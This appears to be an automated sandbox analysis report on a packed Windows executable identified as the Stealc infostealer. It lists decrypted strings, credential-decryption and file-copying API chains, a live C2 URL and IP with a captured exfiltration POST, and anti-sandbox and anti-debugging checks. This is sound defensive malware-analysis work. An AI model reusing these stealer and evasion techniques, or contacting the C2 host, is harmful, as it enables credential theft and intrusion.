Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: HTTP/1.1
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: hwid
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: build
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: token
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: file_name
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: file
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: message
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: screenshot.jpg

Uses Microsoft's Enhanced Cryptographic Provider

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CE9030 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00CE9030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CD72A0 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00CD72A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CDA2B0 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00CDA2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CDA210 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00CDA210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CDC920 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_00CDC920

Uses 32bit PE files

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2037496917.00000000051BB000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2037496917.00000000051BB000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CE40F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00CE40F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CDE530 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00CDE530
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CE47C0 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00CE47C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CDF7B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00CDF7B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CD1710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00CD1710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CDDB80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00CDDB80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CE4B60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00CE4B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CE3B00 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00CE3B00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CDBE40 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00CDBE40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CDEE20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00CDEE20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CDDF10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00CDDF10

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.206:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.206/6c4adf523b719729.php

HTTP GET or POST without a user agent

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKKEHJDHJKFIECAAKFIJHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 34 32 38 46 36 46 35 32 36 33 36 33 38 34 38 34 36 38 37 36 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 2d 2d 0d 0a Data Ascii: ------JKKEHJDHJKFIECAAKFIJContent-Disposition: form-data; name="hwid"A428F6F526363848468766------JKKEHJDHJKFIECAAKFIJContent-Disposition: form-data; name="build"tale------JKKEHJDHJKFIECAAKFIJ--

IP address seen in connection with other malware

Source: Joe Sandbox View

IP Address: 185.215.113.206 185.215.113.206

Internet Provider seen in connection with other malware

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

0_2_00CD62D0

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: unknown

Source: file.exe, 00000000.00000002.2091636092.000000000157E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2091636092.000000000157E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2091636092.00000000015DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2091636092.00000000015DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/$
Source: file.exe, 00000000.00000002.2091636092.00000000015C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/405117-2476756634-1003ge
Source: file.exe, 00000000.00000002.2091636092.00000000015DF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2091636092.00000000015D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: file.exe, 00000000.00000002.2091636092.00000000015DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/
Source: file.exe, 00000000.00000002.2091636092.00000000015D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpAC
Source: file.exe, 00000000.00000002.2091636092.00000000015D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpeC
Source: file.exe, 00000000.00000002.2091636092.00000000015DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/d?
Source: file.exe, file.exe, 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2037496917.00000000051BB000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Detected potential crypto function

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D10098	0_2_00D10098
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D2B198	0_2_00D2B198
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D02138	0_2_00D02138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0102F30E	0_2_0102F30E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01128337	0_2_01128337
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D14288	0_2_00D14288
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D3E258	0_2_00D3E258
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01017221	0_2_01017221
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D4D39E	0_2_00D4D39E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012012E4	0_2_012012E4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D5B308	0_2_00D5B308
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010D853F	0_2_010D853F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0112D5DC	0_2_0112D5DC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0112345A	0_2_0112345A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D145A8	0_2_00D145A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D3D5A8	0_2_00D3D5A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CFE544	0_2_00CFE544
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012024BA	0_2_012024BA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CF4573	0_2_00CF4573
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D166C8	0_2_00D166C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D596FD	0_2_00D596FD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D4A648	0_2_00D4A648
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011267FA	0_2_011267FA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0100D603	0_2_0100D603
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D46799	0_2_00D46799
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0111C676	0_2_0111C676
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D2D720	0_2_00D2D720
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D3F8D6	0_2_00D3F8D6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0112F926	0_2_0112F926
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D298B8	0_2_00D298B8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D2B8A8	0_2_00D2B8A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D24868	0_2_00D24868
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01130B4D	0_2_01130B4D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01118B72	0_2_01118B72
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D38BD9	0_2_00D38BD9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0112BA0D	0_2_0112BA0D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D40B88	0_2_00D40B88
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D44BA8	0_2_00D44BA8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D4AC28	0_2_00D4AC28
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D24DC8	0_2_00D24DC8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01124C52	0_2_01124C52
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D25DB9	0_2_00D25DB9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D01D78	0_2_00D01D78
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D2BD68	0_2_00D2BD68
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D3AD38	0_2_00D3AD38
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D41EE8	0_2_00D41EE8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01017F9B	0_2_01017F9B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D18E78	0_2_00D18E78
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01129EFA	0_2_01129EFA

Found potential string decryption / allocating functions

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 00CD4610 appears 316 times

Uses 32bit PE files

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: nrgnjalz ZLIB complexity 0.9948620709295262

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00CE9790 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00CE9790

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00CE3970 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00CE3970

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\L5KLWO0A.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 2123776 > 1048576

Source: file.exe

Static PE information: Raw size of nrgnjalz is bigger than: 0x100000 < 0x19b800

Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2037496917.00000000051BB000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2037496917.00000000051BB000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.cd0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;nrgnjalz:EW;wpavutyr:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;nrgnjalz:EW;wpavutyr:EW;.taggant:EW;

Contains functionality to dynamically determine API calls

Source: C:\Users\user\Desktop\file.exe

0_2_00CE9BB0

Entry point lies outside standard sections

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

PE file contains an invalid checksum

Source: file.exe

Static PE information: real checksum: 0x20d304 should be: 0x2165e3

PE file contains sections with non-standard names

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: nrgnjalz
Source: file.exe	Static PE information: section name: wpavutyr
Source: file.exe	Static PE information: section name: .taggant

Uses code obfuscation techniques (call, push, ret)

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011D510D push ebx; mov dword ptr [esp], edx	0_2_011D5498
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CFA0DC push eax; retf	0_2_00CFA0F1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011EB1AE push 3F7FF5FDh; mov dword ptr [esp], ecx	0_2_011EB32C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011CE1AE push edx; mov dword ptr [esp], eax	0_2_011CE1CE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0119A1D1 push edi; mov dword ptr [esp], ecx	0_2_0119A21C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011E61F3 push 0BFBBF38h; mov dword ptr [esp], ebp	0_2_011E65B5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0117401D push 345DEF0Dh; mov dword ptr [esp], edi	0_2_011740FF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0117401D push 4596BC85h; mov dword ptr [esp], esi	0_2_01174216
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012440A8 push eax; mov dword ptr [esp], 0304A7EAh	0_2_01244113
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CFA118 push eax; retf	0_2_00CFA119
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011E00ED push edx; mov dword ptr [esp], eax	0_2_011E0132
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011E00ED push edi; mov dword ptr [esp], eax	0_2_011E014D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0121432B push edx; mov dword ptr [esp], eax	0_2_0121437B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0102F30E push 4DD61400h; mov dword ptr [esp], edi	0_2_0102F3C3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0102F30E push edi; mov dword ptr [esp], ecx	0_2_0102F441
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0102F30E push eax; mov dword ptr [esp], ecx	0_2_0102F459
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0102F30E push eax; mov dword ptr [esp], edx	0_2_0102F4DF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0102F30E push ecx; mov dword ptr [esp], ebp	0_2_0102F4EA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0102F30E push 355ED405h; mov dword ptr [esp], eax	0_2_0102F4FD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0102F30E push edi; mov dword ptr [esp], esi	0_2_0102F52A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011A5338 push ebx; mov dword ptr [esp], eax	0_2_011A5368
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01128337 push 5475B052h; mov dword ptr [esp], edx	0_2_011283B9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01128337 push 3EC7C93Fh; mov dword ptr [esp], ebx	0_2_011283D1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01128337 push 10E259BEh; mov dword ptr [esp], edi	0_2_01128432
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01128337 push 7FBE81E4h; mov dword ptr [esp], ecx	0_2_01128457
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01128337 push 310FC622h; mov dword ptr [esp], ecx	0_2_01128522
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01128337 push 5B025774h; mov dword ptr [esp], ecx	0_2_0112856A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01128337 push esi; mov dword ptr [esp], eax	0_2_011285DF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01128337 push edx; mov dword ptr [esp], ecx	0_2_011286B9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01128337 push eax; mov dword ptr [esp], ecx	0_2_011286FC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01128337 push 510D125Dh; mov dword ptr [esp], ebx	0_2_01128755

Source: file.exe

Static PE information: section name: nrgnjalz entropy: 7.95429774987272

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Extensive use of GetProcAddress (often used to hide API calls)

Source: C:\Users\user\Desktop\file.exe

0_2_00CE9BB0

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBE2C5 second address: FBE2CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113773C second address: 1137759 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FBF09325AC3h 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1137759 second address: 113775F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113775F second address: 1137765 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1137765 second address: 1137769 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1137769 second address: 113778B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FBF09325AC4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007FBF09325AB6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11367A8 second address: 11367B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007FBF08D33348h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11367B8 second address: 11367C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 je 00007FBF09325AB6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11367C5 second address: 11367E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jbe 00007FBF08D33346h 0x0000000e jbe 00007FBF08D33346h 0x00000014 jns 00007FBF08D33346h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1136957 second address: 113697E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF09325AC8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push esi 0x0000000b pop esi 0x0000000c jnc 00007FBF09325AB6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1136E7B second address: 1136E8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FBF08D33346h 0x0000000a pop edi 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A379 second address: 113A389 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF09325ABCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A3F5 second address: 113A456 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push eax 0x0000000a call 00007FBF08D33348h 0x0000000f pop eax 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 add dword ptr [esp+04h], 00000015h 0x0000001c inc eax 0x0000001d push eax 0x0000001e ret 0x0000001f pop eax 0x00000020 ret 0x00000021 push 00000000h 0x00000023 call 00007FBF08D33349h 0x00000028 jmp 00007FBF08D3334Fh 0x0000002d push eax 0x0000002e pushad 0x0000002f jmp 00007FBF08D33359h 0x00000034 jl 00007FBF08D3334Ch 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
